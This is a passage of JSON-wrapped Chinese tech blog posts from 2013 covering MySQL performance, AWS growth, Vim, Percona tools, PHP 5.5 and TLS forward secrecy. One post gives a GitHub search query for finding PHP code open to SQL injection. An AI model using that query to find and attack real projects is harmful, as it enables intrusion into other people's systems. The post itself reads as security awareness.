    "body": "<a href=\"https://www.facebook.com/\">Facebook</a> 的 <a href=\"http://dev.mysql.com/\">MySQL</a> 老大 <a href=\"http://mysqlha.blogspot.com/\">Mark Callaghan</a> 把 MySQL 古董版本 4.0 拿出來跟現在的 5.6 比較：「<a href=\"http://mysqlha.blogspot.com/2013/05/mysql-56-versus-40-for-read-only.html\">MySQL 5.6 versus 4.0 for a read-only workload</a>」。\r\n\r\n可以看到 MySQL 在 Read-Only 情況的效率進步 (Read-Only 的 lock issue 比較容易被克服，拿來比較會比較好看)，這效能根本不能比 XDDD\r\n\r\n(要注意圖片的 y 軸不是 0 為起點)\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/CxyKNAw.webp\" /><img src=\"https://i.gslin.com/imgur/CxyKNAw.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/26ceG4O.webp\" /><img src=\"https://i.gslin.com/imgur/26ceG4O.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZpDZB3H.webp\" /><img src=\"https://i.gslin.com/imgur/ZpDZB3H.jpg\" alt=\"\" /></picture>\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ZQI62LY.webp\" /><img src=\"https://i.gslin.com/imgur/ZQI62LY.jpg\" alt=\"\" /></picture>",
    "title": "MySQL 4.0 與 MySQL 5.6 的比較..."
  },
  {
    "id": "3327",
    "body": "其實就是 Anycast DNS service...\r\n\r\n<a href=\"http://cloudharmony.com/\">CloudHarmony</a> 在前鎮子發表了 DNS Hosting 的市場佔有率：「<a href=\"http://blog.cloudharmony.com/2013/05/dns-marketshare-alexa-10000-fortune-500.html\">DNS Marketshare - Alexa 10,000 + Fortune 500 - May 2013</a>」。\r\n\r\n比較有趣的是「Top 20 Alexa Site Changes - Apr 8 to May 6 2013」這段，可以看到很多公司跳去 <a href=\"http://www.akamai.com/cotendo\">Cotendo</a> Advanced DNS... 不過我沒看懂從 <a href=\"http://www.akamai.com/\">Akamai</a> 跳到 Cotendo Advanced DNS 是哪招，Contendo 不是被 Akamai 買掉了嗎 XD",
    "title": "DNS Hosting 的市佔率..."
  },
  {
    "id": "3329",
    "body": "<a href=\"http://www.moolenaar.net/\">Bram Moolenaar</a> 發表了 <a href=\"http://www.vim.org/\">Vim</a> 7.4 的計畫：「<a href=\"https://groups.google.com/d/msg/vim_announce/ZWWgK9aXQ2Y/IMObY8lBFm0J\">Plans for Vim 7.4</a>」，不過理由居然是因為 patch level 要到 999 了...：\r\n<blockquote>We are now at patch level 7.3.931. In a few weeks we would reach 999.  I don't want to find out what happens if we go over that, so it's time for Vim 7.4!</blockquote>\r\n目前 patch level 是 931 (參考 <a href=\"ftp://ftp.vim.org/pub/vim/patches/7.3/\">ftp://ftp.vim.org/pub/vim/patches/7.3/</a>)，如果是這種理由的話，這幾個禮拜 Vim 7.4 就會發行了...\r\n\r\n剛剛才發現原來 Vim 用 <a href=\"http://mercurial.selenic.com/\">Mercurial</a>...",
    "title": "Vim 7.4 準備中..."
  },
  {
    "id": "3330",
    "body": "由<a href=\"http://www.whitehouse.gov/\">白宮</a>所下達的行政命令，命令全美政府機關在公開資訊時，必須提供電子格式，且可容易被程式讀取：「<a href=\"http://www.whitehouse.gov/the-press-office/2013/05/09/executive-order-making-open-and-machine-readable-new-default-government-\">Executive Order -- Making Open and Machine Readable the New Default for Government Information</a>」。\r\n\r\n重點是：資料不只要「公開」，還要「可被機器讀取」與「可被重複利用的授權」，並且要求政府單位強制提供。",
    "title": "白宮下令政府機關 Open Data"
  },
  {
    "id": "3333",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 宣佈 <a href=\"http://www.percona.com/software/percona-xtrabackup\">Percona XtraBackup</a> 2.1.1 (第一個 2.1 GA 的版本)：「<a href=\"http://www.mysqlperformanceblog.com/2013/05/15/announcing-percona-xtrabackup-2-1-0-ga/\">Announcing Percona XtraBackup 2.1.1 GA</a>」。\r\n\r\n這次的版本提供了 compact backup，備份的時候不要備份 secondary index (因為這可以再建出來)，在很多 index 的表格會省下大量的空間 (以及備份的時間)，不過還原的時候就得 rebuild，而非直接拿來用，算是讓操作者自己取捨...",
    "title": "Percona XtraBackup 2.1.1"
  },
  {
    "id": "3334",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到「<a href=\"http://science.slashdot.org/story/13/05/17/0332219/brain-zapping-improves-math-ability\">Brain Zapping Improves Math Ability</a>」，裡面提到基礎數學能力不好的人可以透過電擊腦袋改善... XD\r\n\r\n原報導在「<a href=\"http://news.sciencemag.org/sciencenow/2013/05/trouble-with-math-maybe-you-shou.html?ref=hp\">Trouble With Math? Maybe You Should Get Your Brain Zapped</a>」這篇，論文資料在「<a href=\"http://www.cell.com/current-biology/retrieve/pii/S0960982213004867\">Long-Term Enhancement of Brain Function and Cognition Using Cognitive Training and Brain Stimulation</a>」(有 PDF 可以看)。\r\n\r\n同樣的研究在兩年半前就被提出來：「<a href=\"http://news.sciencemag.org/sciencenow/2010/11/brain-zaps-improve-math.html\">Brain Zaps Improve Math</a>」，不過兩年半前的研究並沒有找出在現實生活中的改善幅度：\r\n<blockquote>However, it wasn't clear how those basic numerical skills would translate to real-world math ability.</blockquote>\r\n不過這也不是永久有效... 每半年被電一次嗎 XD\r\n<blockquote>Now, a new study suggests that a gentle, painless electrical current applied to the brain can boost math performance for up to 6 months.</blockquote>",
    "title": "電擊腦袋加強數學能力..."
  },
  {
    "id": "3336",
    "body": "<strong>Update</strong>：Tumblr 還沒有接受，目前是 Yahoo! 董事會已經同意這個金額，一切都還在談...\r\n\r\n新聞報導在這：「<a href=\"http://business.time.com/2013/05/17/purple-power-yahoo-reportedly-in-talks-to-buy-tumblr-for-up-to-1-billion/\">Yahoo! Board Said to Weigh Billion-Dollar Tumblr Deal</a>」，<a href=\"http://www.yahoo.com/\">Yahoo!</a> 以十一億美元現金買下 <a href=\"http://www.tumblr.com/\">Tumblr</a>。\r\n\r\n能期待 <a href=\"http://www.flickr.com/\">Flickr</a> 與 Tumblr 的結合嗎？\r\n\r\n不過如果按照 Yahoo! 的慣例，又會整合 Yahoo! 的帳號系統，好像就不怎麼好用了...",
    "title": "Yahoo! 買下 Tumblr..."
  },
  {
    "id": "3338",
    "body": "<a href=\"http://news.netcraft.com/\">Netcraft</a> 分析 <a href=\"http://aws.amazon.com/\">Amazon Web Services</a> 的規模，以及使用 AWS 的 <a href=\"https://www.heroku.com/\">Heroku</a>：「<a href=\"http://news.netcraft.com/archives/2013/05/20/amazon-web-services-growth-unrelenting.html\">Amazon Web Services' growth unrelenting</a>」。\r\n\r\n分析雖然只看了 HTTP 與 HTTPS 的部份，但以 AWS 的特性，應該是不差太多，所以相對性的數字應該是有參考價值的...\r\n<ul>\r\n\t<li>美西第一區是 2009 年十二月 (<a href=\"http://aws.typepad.com/aws/2009/12/expanding-the-aws-footprint.html\">Expanding the AWS Footprint</a>)。</li>\r\n\t<li>新加坡是 2010 年四月 (<a href=\"http://aws.typepad.com/aws/2010/04/now-open-aws-region-in-asia-pacific.html\">Now Open: AWS Region in Asia Pacific</a>)。</li>\r\n\t<li>東京是 2011 年三月 (<a href=\"http://aws.typepad.com/aws/2011/03/now-open-aws-region-in-tokyo.html\">Now Open: AWS Region in Tokyo</a>)。</li>\r\n\t<li>美西二區是 2011 年十一月 (<a href=\"http://aws.typepad.com/aws/2011/11/now-open-us-west-portland-region.html\">Now Open - US West (Oregon) Region</a>)。</li>\r\n\t<li>南美是 2011 年十二月 (<a href=\"http://aws.typepad.com/aws/2011/12/now-open-south-america-sao-paulo-region-ec2-s3-and-lots-more.html\">Now Open - South America (Sao Paulo) Region - EC2, S3, and Much More</a>)。</li>\r\n\t<li>雪梨是 2012 年十一月 (<a href=\"http://aws.typepad.com/aws/2012/11/asia-pacific-sydney-region-open.html\">New Asia Pacific (Sydney) Region in Australia - EC2, DynamoDB, S3, and Much More</a>)。</li>\r\n</ul>\r\n有這些資料後再來看：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/ISZc0NM.webp\" /><img src=\"https://i.gslin.com/imgur/ISZc0NM.jpg\" alt=\"\" /></picture>\r\n\r\n雖然寫 4 month，但實際上應該是三個月的成長量 (二月到五月)。\r\n\r\nus-east-1 仍然很強大 (還是沒看到 us-east-2 的消息)，而 us-west-2 上個月突然有大戶進駐？跟東京與新加坡同個等級了...\r\n\r\n另外 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 與 <a href=\"http://aws.amazon.com/route53/\">Route 53</a> 的成長數量也很耀眼，都是網站上設定好就可以馬上用，不需要找業務...",
    "title": "AWS 的規模..."
  },
  {
    "id": "3339",
    "body": "前情提要：「<a href=\"http://blog.gslin.org/archives/2013/05/11/3329/vim-7-4-%E6%BA%96%E5%82%99%E4%B8%AD/\">Vim 7.4 準備中...</a>」，本來以為會在 1000 出現前出 <a href=\"http://www.vim.org/\">Vim</a> 7.4。\r\n\r\n結果剛剛在 <a href=\"https://twitter.com/\">Twitter</a> 上看到「<a href=\"http://ftp.vim.org/pub/vim/patches/7.3/7.3.1000\">http://ftp.vim.org/pub/vim/patches/7.3/7.3.1000</a>」出現，這是哪招... XD\r\n\r\n<a href=\"http://www.moolenaar.net/\">Bram Moolenaar</a> 該不會自暴自棄決定等 9999 的時候再出 Vim 7.4 吧... XD",
    "title": "結果 Vim 7.3 出 patch level 1000 了..."
  },
  {
    "id": "3341",
    "body": "在 <a href=\"https://news.ycombinator.com/\">Hacker News</a> 熱門文章看到的連結。\r\n\r\n方法是通用的，並不限於 <a href=\"http://www.php.net/\">PHP</a> 與 <a href=\"http://dev.mysql.com/\">MySQL</a> (不過 PHP 的條件相對容易搜 XDDD)，連結是到第三頁：「<a href=\"https://github.com/search?p=3&amp;q=extension%3Aphp+mysql_query+%24_GET&amp;ref=searchresults&amp;type=Code\">Search · extension:php mysql_query $_GET</a>」。\r\n\r\n可以看到很多 <code>$_GET</code> 的參數直接被傳入 <code>mysql_query()</code> 內...",
    "title": "利用搜尋引擎找出 GitHub 上可以被 SQL injection 的程式..."
  },
  {
    "id": "3342",
    "body": "在「<a href=\"http://www.datacenterknowledge.com/archives/2013/06/04/breaking-ibm-acquiring-softlayer/\">IBM Acquiring SoftLayer to Boost its SmartCloud</a>」這邊看到 <a href=\"http://www.ibm.com/\">IBM</a> 已經跟 <a href=\"http://www.softlayer.com/\">SoftLayer</a> 達成協議了，依照法令公開的消息可以在 IBM 的官方網站上翻到：「<a href=\"http://www-03.ibm.com/press/us/en/pressrelease/41191.wss\">IBM to Acquire SoftLayer to Accelerate Adoption of Cloud Computing in the Enterprise</a>」。\r\n\r\nSoftLayer 除了 Hosting 業務以外，也還包括 CDN 業務... 接下來會怎麼玩啊？",
    "title": "IBM 買 SoftLayer..."
  },
  {
    "id": "3343",
    "body": "<a href=\"http://www.percona.com/\">Percona</a> 把常見的 <a href=\"http://dev.mysql.com/\">MySQL</a> High Availability 選擇整理後發表成 Webinar，投影片在這裡可以看到 (以及下載)：「<a href=\"http://www.percona.com/resources/technical-presentations/choosing-mysql-high-availability-solution-webinar-choosing-high\">Choosing a MySQL High Availability Solution</a>」。\r\n\r\n沒有太多新的東西，主要還是再次描述 MySQL HA 這塊目前沒有萬靈丹，常見的這幾個方案各有自己的優缺點，會依照環境與需求而產生不同的選擇。裡面連 manual failover + 24x7 NOC 都出現了... XD\r\n\r\n對於不清楚有哪些 HA 架構的人，可以透過這份投影片先抓出關鍵字。對於聽過一堆 HA 架構的人，想要複習各種方式的優缺點，也可以花時間看看。至於想要找萬靈丹的人就不用花時間了，目前沒這東西 :p",
    "title": "MySQL HA 的選擇..."
  },
  {
    "id": "3346",
    "body": "MyISAM 在讀取時不會有其他人可以寫入，所以 <code>COUNT(*)</code> 很容易被處理。而 InnoDB 的 <code>COUNT(*)</code> 在不同的 transaction 裡可能會不一樣，如果硬要處理的話會變得複雜，所以目前 InnoDB 的作法是 scan 一次 (出自「<a href=\"http://dev.mysql.com/doc/refman/5.5/en/innodb-restrictions.html\">Limits on InnoDB Tables</a>」)：\r\n<blockquote>InnoDB does not keep an internal count of rows in a table because concurrent transactions might \"see\" different numbers of rows at the same time. To process a SELECT COUNT(*) FROM t statement, InnoDB scans an index of the table, which takes some time if the index is not entirely in the buffer pool. If your table does not change often, using the MySQL query cache is a good solution. To get a fast count, you have to use a counter table you create yourself and let your application update it according to the inserts and deletes it does. If an approximate row count is sufficient, SHOW TABLE STATUS can be used. See Section 14.3.14.1, \"InnoDB Performance Tuning Tips\".</blockquote>\r\n在「<a href=\"http://code.openark.org/blog/mysql/easy-select-count-with-split\">Easy SELECT COUNT(*) with split()</a>」這篇提到 InnoDB 下 <code>COUNT(*)</code> 這件事情，當你不需要絕對精確的值時，可以利用 INFORMATION_SCHEMA.TABLES 或是 SHOW TABLE STATUS 的資訊來判斷。",
    "title": "在 InnoDB 下的 COUNT(*)..."
  },
  {
    "id": "3348",
    "body": "以往 <a href=\"http://aws.amazon.com/cloudfront/\">CloudFront</a> 只能用 *.cloudfront.net 當作 SSL domain，但在今天公告的「<a href=\"http://aws.typepad.com/aws/2013/06/custom-ssl-domain-names-root-domain-hosting-for-amazon-cloudfront.html\">Custom SSL Domain Names and Root Domain Hosting for Amazon CloudFront</a>」這篇說明內，宣佈可以上傳自己的 SSL certificate 使用了。\r\n\r\n目前的價錢是 USD$600/month，不過是以小時計算。即使拋開錢的問題，在 CloudFront 已經支援 SSL 的前提下 (而且因為是 *.cloudfront.net，理論上是 cookie-free domain)，技術面上暫時想不到什麼好處... 在 DNS 端自己混合多家 CDN 是個可能的方向？",
    "title": "AWS CloudFront 可以用自己的 SSL Certificate 了..."
  },
  {
    "id": "3349",
    "body": "在「<a href=\"http://www.labnol.org/internet/google-alerts-alternatives/28034/\">The Best Alternatives to Google Alerts</a>」看到的技巧，主要是看到 <a href=\"http://www.bing.com/\">Bing</a> 可以輸出 RSS，目前看到的格式是 <a href=\"http://cyber.law.harvard.edu/rss/rss.html\">RSS 2.0</a>。\r\n\r\n格式是：<code>http://www.bing.com/search?q=keyword&amp;format=rss</code>，把 <code>keyword</code> 換掉就可以了。",
    "title": "Google Alerts 的替代品：Bing 的 RSS 輸出"
  },
  {
    "id": "3350",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"https://www.owasp.org/\">OWASP</a> 給出 2013 年的網站安全威脅 Top 10 名單：「<a href=\"http://it.slashdot.org/story/13/06/13/175209/owasp-top-10-2013-released\">OWASP Top 10 2013 Released</a>」。\r\n\r\n一如往常，Slashdot 的第一個 comment 還是很經典 XDDD\r\n<blockquote>The offered list of vulnerabilities is in a pdf.</blockquote>\r\n這... XD\r\n\r\n在 Wiki 上有一份非 PDF 的版本可以看：「<a href=\"https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project\">Category:OWASP Top Ten Project</a>」，可以跟「<a href=\"http://blog.codeclimate.com/blog/2013/03/27/rails-insecure-defaults/\">Rails' Insecure Defaults</a>」(副標題「13 Security Gotchas You Should Know About」) 一起看 (不是看 <a href=\"http://rubyonrails.org/\">Rails</a> 的問題，是看有哪些攻擊技巧)。",
    "title": "OWASP's Top 10，2013 版"
  },
  {
    "id": "3351",
    "body": "一樣是在 <a href=\"http://slashdot.org/\">Slashdot</a> 看到的消息：「<a href=\"http://entertainment.slashdot.org/story/13/06/13/2344213/arnold-schwarzenegger-will-be-back-as-the-terminator\">Arnold Schwarzenegger Will Be Back As the Terminator</a>」。\r\n\r\n當完八年州長後跑回來拍戲... XD (身材應該要重養？)",
    "title": "阿諾·史瓦辛格將再次擔任《魔鬼終結者》系列的主角..."
  },
  {
    "id": "3355",
    "body": "<a href=\"http://php.net/\">PHP</a> 5.5.0 釋出：「<a href=\"http://php.net/archive/2013.php#id2013-06-20-1\">PHP 5.5.0 released.</a>」，第一個 PHP 5.5 的版本。\r\n\r\n多了 generator function 可以用 (透過 <code>yield</code> 實做)：「<a href=\"http://php.net/manual/en/language.generators.overview.php\">Generators overview</a>」。<code>try</code>-<code>catch</code> 多了 <code>finally</code> 可以用：「<a href=\"http://php.net/manual/en/language.exceptions.php\">Exceptions</a>」。\r\n\r\n然後是 <a href=\"http://php.net/opcache\">OPcache</a>，不過這東西還是過兩三個版本再開始測試，沒時間在前幾個版本當白老鼠...",
    "title": "PHP 5.5.0"
  },
  {
    "id": "3357",
    "body": "在使用 <a href=\"http://codership.com/content/using-galera-cluster\">Galera Cluster</a> 時還是可以架設一般的 slave server (<a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 則是 <a href=\"http://www.percona.com/\">Percona</a> 對 Galera Cluster 的封裝)，像是這樣的架構：\r\n\r\n<img src=\"https://i.gslin.com/imgur/QUPdZFt.jpg\" alt=\"\" />\r\n\r\n其中 node{1,2} 為 cluster，node3 則是傳統的 async replication，來源的 master 為 node1。\r\n\r\n<img src=\"https://i.gslin.com/imgur/7tXu3oc.jpg\" alt=\"\" />\r\n\r\n當 node1 掛掉時，我們沒辦法自動將 node3 的 master 從 node1 改指到 node2，因為 binlog 的位置不一定正確。\r\n\r\n在「<a href=\"http://www.mysqlperformanceblog.com/2013/06/21/changing-an-async-slave-of-a-pxc-cluster-to-a-new-master/\">Changing an async slave of a PXC cluster to a new Master</a>」則是提供如何人工用最簡單的方式介入。\r\n\r\n主要是靠 Galera Cluster 會在 binlog 內寫入 <code>Xid</code> 這個值，這個值可以在 global status 內的 <code>wsrep_last_committed</code> 看到。因為這個值在全 cluster 都是同步的，就可以拿來人工尋找 binlog 位置後手動下 <code>CHANGE MASTER TO</code>，而不用 <a href=\"http://www.percona.com/doc/percona-toolkit/2.1/pt-table-sync.html\">pt-table-sync</a> 同步修老半天...\r\n\r\n而且邏輯被整理出來以後，就有機會寫成程式自動化... 這算是一個不錯的開頭 :p",
    "title": "在 Percona XtraDB Cluster 裡使用 async replication 時人工 failover 的方式..."
  },
  {
    "id": "3359",
    "body": "在「<a href=\"http://www.mysqlperformanceblog.com/2013/06/28/2-new-features-added-to-percona-xtradb-cluster-pxc-since-5-5-31/\">2 new features added to Percona XtraDB Cluster (PXC) since 5.5.31</a>」看到 <a href=\"http://www.percona.com/doc/percona-xtrabackup/2.1/\">Percona Xtrabackup</a> 引入新功能後，在 <a href=\"http://www.percona.com/software/percona-xtradb-cluster\">Percona XtraDB Cluster</a> 就能使用這些新功能加快初始化的速度。\r\n\r\n首先是 <code>bootstrap-pxc</code> 這個參數：\r\n<blockquote><pre># use this...\r\n/etc/init.d/mysql bootstrap-pxc\r\n# or...\r\nservice mysql bootstrap-pxc</pre></blockquote>\r\n當第一次啟動時需要對 <code>my.cnf</code> 的 hack (啟動完成後就可以改回來) 現在可以在參數直接處理。\r\n\r\n另外是對 xbstream 的支援，這聽一陣子了，這邊就不講怎麼用了，原文講得很清楚。不過目前測出來的效果不怎樣啊：\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/Wpus05t.webp\" /><img src=\"https://i.gslin.com/imgur/Wpus05t.jpg\" alt=\"\" /></picture>\r\n\r\n文章作者是說對於小資料沒差，晚點再來看看有沒有對大資料的 benchmark...",
    "title": "配合 Percona Xtrabackup 的新功能以及對 Percona XtraDB Cluster 初始化的速度..."
  },
  {
    "id": "3360",
    "body": "<script type=\"text/javascript\" src=\"http://cdn.mathjax.org/mathjax/latest/MathJax.js?config=TeX-AMS-MML_HTMLorMML\"></script>\r\n寫這篇順便測試 <a href=\"http://www.mathjax.org/\">MathJax</a> 的效果...\r\n\r\n因為 <a href=\"http://www.nsa.gov/\">NSA</a> 的惡搞，這陣子 PFS (<a href=\"https://en.wikipedia.org/wiki/Perfect_forward_secrecy\">Perfect Forward Secrecy</a>) 突然被拿出來討論：\r\n<ul>\r\n\t<li><a href=\"http://blogs.computerworld.com/encryption/22366/can-nsa-see-through-encrypted-web-pages-maybe-so\">Perfect Forward Secrecy can block the NSA from secure web pages, but no one uses it</a></li>\r\n\t<li><a href=\"http://news.netcraft.com/archives/2013/06/25/ssl-intercepted-today-decrypted-tomorrow.html\">SSL: Intercepted today, decrypted tomorrow</a></li>\r\n</ul>\r\n在講 PFS 前，得先講 <a href=\"https://en.wikipedia.org/wiki/Diffie%E2%80%93Hellman_key_exchange\">Diffie-Hellman key exchange</a> (D-H)。\r\n\r\nD-H 是利用這個等式：\r\n<blockquote>$$(g^a)^b \\equiv (g^b)^a \\mod p$$</blockquote>\r\n其中 \\(p\\) 是大質數，而 \\(g\\) 是 \\(p\\) 的 primitive root (即不存在任何 \\(n < p\\) 可以使得 \\(g^n \\equiv 1 \\mod p\\))。\r\n\r\n而因為當 \\(p\\) 夠大時，要從 \\(g^a \\mod p\\) 計算 \\(a\\) 就是<a href=\"https://en.wikipedia.org/wiki/Discrete_logarithm\">離散對數問題</a>，而離散對數問題是已知沒有有效率計算的問題，所以我們會假定當 \\(p\\) 夠大時，傳輸 \\(g^a \\mod p\\) 是無法用合理資源計算得知 \\(a\\)。\r\n\r\n因此，Alice 與 Bob 就可以產生自己的 private secret \\(a\\) (Alice) 與 \\(b\\) (Bob)，計算出 \\(g^a\\) 與 \\(g^b\\) 後公開傳輸給對方，當 Bob 收到 Alice 提供的 \\(g^a\\) 時就計算 \\((g^a)^b \\equiv g^{ab} \\mod n\\)，而 Alice 收到 Bob 提供的 \\(g^b\\) 後可以計算 \\((g^b)^a \\equiv g^{ba} \\equiv g^{ab} \\mod n\\)。\r\n\r\n而攻擊者只拿到公開的 \\(g^a\\) 與 \\(g^b\\) 以及 \\(g\\)，無法計算出 \\(g^{ab}\\)，於是就雙方就建立一組 shared secret 了。\r\n\r\n回到 <a href=\"https://zh.wikipedia.org/wiki/%E5%AE%89%E5%85%A8%E5%A5%97%E6%8E%A5%E5%B1%82\">SSL/TLS</a> 的問題上，由於 <a href=\"https://zh.wikipedia.org/wiki/RSA%E5%8A%A0%E5%AF%86%E6%BC%94%E7%AE%97%E6%B3%95\">RSA</a> 加解密的速度並不快，所以 SSL/TLS 是在 RSA 的保護下交換 <a href=\"https://zh.wikipedia.org/wiki/RC4\">RC4</a> 或是 <a href=\"https://zh.wikipedia.org/wiki/%E9%AB%98%E7%BA%A7%E5%8A%A0%E5%AF%86%E6%A0%87%E5%87%86\">AES</a> 所需要的金鑰 (key)。\r\n\r\n交換 key 這件事情除了可以直接交換以外，還可以利用 D-H 交換。\r\n\r\nD-H 交換可以確保當 RSA key 被破解時還要再破每個 session 的 D-H 所產生出來的 key，而直接交換的話，只要破一把 RSA key 就可以解出所有 traffic 了。\r\n\r\n而 PFS 會被提出來，是因為目前消息指出 NSA 其實有在錄下 SSL/TLS 流量，等哪天有機會取得 RSA key 的時候 (無論是硬解，或是其他方式)，就有機會能夠一次破一卡車資料... (因為目前大部分的 SSL/TLS 流量都沒有上 PFS)\r\n\r\n雖然 PFS 會慢一些，不過已經確認 NSA 打算來搞了，所以還是乖乖加上去吧... @_@",
    "title": "SSL/TLS 的 Perfect Forward Secrecy..."
  },
  {
    "id": "3363",
    "body": "<a href=\"https://www.google.com/reader\">Google Reader</a> 剩下最後兩天，還是要面對現實...\r\n\r\n看了一下 Google Reader，裡面有 1100 個 item，剛好趁著這次 shutdown，又到了該砍掉重練的階段了...\r\n\r\n免費的服務中，<a href=\"http://www.feedly.com/\">Feedly</a> 會把非 focus 的文章縮起來，而 <a href=\"http://digg.com/reader\">Digg Reader</a> 找不到 Unread 的地方。<a href=\"http://www.goread.io/\">go read</a> 找不到地方下 Tag 分類，而 <a href=\"http://reader.aol.com/\">AOL Reader</a> 則是登不進去。\r\n\r\n付費的服務中，<a href=\"https://feedbin.me/\">Feedbin</a> (USD$2/month 或 USD$20/year) 的 preload 做的不好，所以人讀文章的速度沒有 Google Reader 快，<a href=\"http://www.newsblur.com/\">NewsBlur</a> (USD$24/year) 則是把功能做的極為花俏，第一眼看下去還不知道要怎麼加 feed...\r\n\r\n反正這陣子就四處逃竄吧... 這陣子應該會有很多新的服務跑出來 :o",
    "title": "找 Google Reader 替代品..."
  },
  {
    "id": "3364",
    "body": "剛剛電視上看到 HBO 播出電影《<a href=\"https://zh.wikipedia.org/wiki/%E5%85%A8%E6%B0%91%E5%85%AC%E6%95%8C\">全民公敵</a>》(Enemy of the State)，這時間點播出這部在 1999 年發行的片子，擺明是衝著這陣子在美國鬧得很兇的 <a href=\"https://en.wikipedia.org/wiki/PRISM_(surveillance_program)\">PRISM</a> (<a href=\"https://zh.wikipedia.org/wiki/%E7%A8%9C%E9%8F%A1%E8%A8%88%E7%95%AB\">稜鏡計畫</a>) 而來...\r\n\r\n電影全民公敵中與現實中的 PRISM 同樣都是 <a href=\"http://www.nsa.gov/\">NSA</a> 主導，不過因為硬體與演算法的進步，當年難以達成的技術，現在都已經做的到了...",
    "title": "剛好在 HBO 上看到《全民公敵》(Enemy of the State)..."
  },
  {
    "id": "3365",
    "body": "以往升級 <a href=\"http://www.perl.org/\">Perl</a> 後要跑 <code>perl-after-upgrade -f</code>，把本來在 <code>/usr/local/lib/perl/5.12.4</code> 的東西搬到 <code>/usr/local/lib/perl/5.12.5</code> 下，然後還是要到目錄下確認有沒有東西遺漏，漏掉的還是得用 <a href=\"http://www.freshports.org/ports-mgmt/portmaster\">portmaster</a> 跑一次...\r\n\r\n現在則是改成 <code>/usr/local/lib/perl/5.12</code> 這樣的路徑，把最後的 minor version 拿掉，至少同個主版本升級時 (5.12.x 之間) 比較不會痛了...\r\n\r\n不過順便趁這次換成 5.16 好了，5.12 應該也快過保了...",
    "title": "FreeBSD 上 Perl 升級的問題..."
  },
  {
    "id": "3366",
    "body": "目前多測了 <a href=\"http://feedly.com/\">Feedly</a>，發現不容易知道現在 focus 是在哪個 entry 上，所以就翻了翻 CSS，決定用 Stylish 加上樣式 (<a href=\"http://www.google.com/chrome\">Chrome</a> 或是 <a href=\"http://www.mozilla.com/firefox/\">Firefox</a> 都有套件可以用)：\r\n<blockquote><pre>#timeline .u100Frame.selectedEntry\r\n{\r\n    border: 2px solid black;\r\n}</pre></blockquote>\r\n用黑粗框表示，這樣好一些...\r\n\r\n另外當你看很多 feed 的時候，你希望知道這篇是誰寫的，我把 metadata 的部份變成粗體，另外 blog 的名稱變成暗藍色：\r\n<blockquote><pre>.entryHeader .metadata\r\n{\r\n    font-weight: bold;\r\n}\r\n\r\n.metadata a.sourceTitle\r\n{\r\n    color: darkblue;\r\n}</pre></blockquote>\r\n用一陣子，看看這樣有沒有比較好吧...\r\n\r\n<strong>Update</strong>：睡醒發現 selectedEntry 又改結構，只好補刀 -_-",
    "title": "Feedly 的 CSS..."
  },
  {
    "id": "3367",
    "body": "前陣子看到「<a href=\"http://tech.xiachufang.com/?p=18\">下厨房6月26日数据丢失事故总结</a>」這篇文章，本來也就看看就算了... 結果剛剛在 <a href=\"https://www.facebook.com/\">Facebook</a> 上看到有人說有神回覆... 趕快回去看 XDDD\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/upnK6iH.webp\" /><img src=\"https://i.gslin.com/imgur/upnK6iH.jpg\" alt=\"\" /></picture>\r\n\r\n這回覆... 太神啦 XDDD\r\n\r\n這資料到底能不能用呢... XDDD",
    "title": "大陸網站「下廚房」對資料庫事故文章的神回覆..."
  },
  {
    "id": "3368",
    "body": "<a href=\"https://github.com/\">GitHub</a> 前幾天推出 Releases 功能，把發佈功能做出來了：「<a href=\"https://github.com/blog/1547-release-your-software\">Release Your Software</a>」。\r\n\r\nReleases 整合 <a href=\"http://git-scm.com/\">Git</a> 的 tag (可以選既有的，也可以建立新的)：\r\n\r\n<img src=\"https://i.gslin.com/imgur/UV8iRqT.jpg\" alt=\"\" />\r\n\r\n看起來是之前 download 功能的變化，不過 download 功能有被惡搞的機會，Releases 比較不會發生...",
    "title": "GitHub 推出 Releases 功能..."
  },
  {
    "id": "3370",
    "body": "翻文章時翻到的：「<a href=\"http://developer.android.com/about/dashboards/index.html\">Dashboards</a>」。\r\n\r\n在 Dashboards 裡的數據是出自 14 天內有連到 <a href=\"https://play.google.com/\">Google Play Store</a> 上面的數據：\r\n<blockquote>Beginning in April, 2013, these charts are now built using data collected from each device when the user visits the Google Play Store.</blockquote>\r\n這個數據比實際出貨的版本有意義，因為這代表了會用 Store 的人的比率。而使用者不會連到 Store 的話，開發者也比較不用管支援度的問題...\r\n\r\n<picture><source type=\"image/webp\" srcset=\"https://i.gslin.com/imgur/9iN1k28.webp\" /><img src=\"https://i.gslin.com/imgur/9iN1k28.jpg\" alt=\"\" /></picture>\r\n\r\n2.3.3 (API 10) 之後累積起來是 95.1%，然後幾乎所有機器都支援 OpenGL ES 2...",
    "title": "Google 提供的 Android Dashboards..."
  },
  {
    "id": "3372",
    "body": "在 <a href=\"http://slashdot.org/\">Slashdot</a> 上看到 <a href=\"http://www.oracle.com/\">Oracle</a> 決定將 <a href=\"http://www.oracle.com/us/products/database/berkeley-db/\">BerkeleyDB</a> 的授權由 <a href=\"http://opensource.org/licenses/Sleepycat\">Sleepycat License</a> (接近於 <a href=\"http://opensource.org/licenses/BSD-3-Clause\">BSD license</a>) 換成 <a href=\"http://www.gnu.org/licenses/agpl-3.0.html\">AGPL</a>：「<a href=\"http://developers.slashdot.org/story/13/07/05/1647215/oracle-quietly-switches-berkeleydb-to-agpl\">Oracle Quietly Switches BerkeleyDB To AGPL</a>」。\r\n\r\nOracle 這招好厲害啊，用 <a href=\"http://www.gnu.org/\">GNU</a> 的大旗廢掉 BerkeleyDB...",
    "title": "BerkeleyDB 將換成 AGPL..."
  },
  {
